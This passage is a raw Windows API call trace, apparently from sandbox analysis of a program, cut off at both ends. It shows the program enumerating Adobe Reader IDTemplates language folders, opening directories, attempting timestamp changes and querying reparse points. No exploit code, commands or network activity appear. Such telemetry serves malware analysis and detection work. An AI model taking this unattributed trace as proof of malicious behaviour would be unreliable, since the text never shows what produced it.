lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.254] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\deu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.254] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.254] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.255] NtClose (Handle=0x168) returned 0x0 [0081.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.256] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.256] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.256] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201738 [0081.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261eb0 [0081.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.257] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201758 [0081.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261fb8 [0081.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.259] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.259] GetLastError () returned 0x12 [0081.259] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.259] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.259] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.259] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x106d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.259] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.259] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.259] GetLastError () returned 0x12 [0081.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.259] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0081.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\enu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.261] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258e90 [0081.261] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258e90, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258e90, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258e90) returned 1 [0081.262] NtClose (Handle=0x178) returned 0x0 [0081.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.263] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.263] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201778 [0081.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12620c0 [0081.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6700) returned 0x126d560 [0081.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.265] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201798 [0081.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12621c8 [0081.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.266] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.266] GetLastError () returned 0x12 [0081.266] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ENU\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.266] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8058e120, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8058e120, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14096, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.266] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8058e120, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.266] GetLastError () returned 0x12 [0081.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.267] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.267] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ESP", cAlternateFileName="")) returned 1 [0081.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.267] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\esp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.268] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.268] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1273c68 [0081.268] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1273c68, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1273c68, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273c68) returned 1 [0081.269] NtClose (Handle=0x168) returned 0x0 [0081.269] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.269] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.270] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ESP\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.270] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.270] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x109db, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.270] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.270] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12017b8 [0081.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12622d0 [0081.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.271] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x104bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12017d8 [0081.272] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12623d8 [0081.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.273] FindNextFileW (in: hFindFile=0x2e9040, 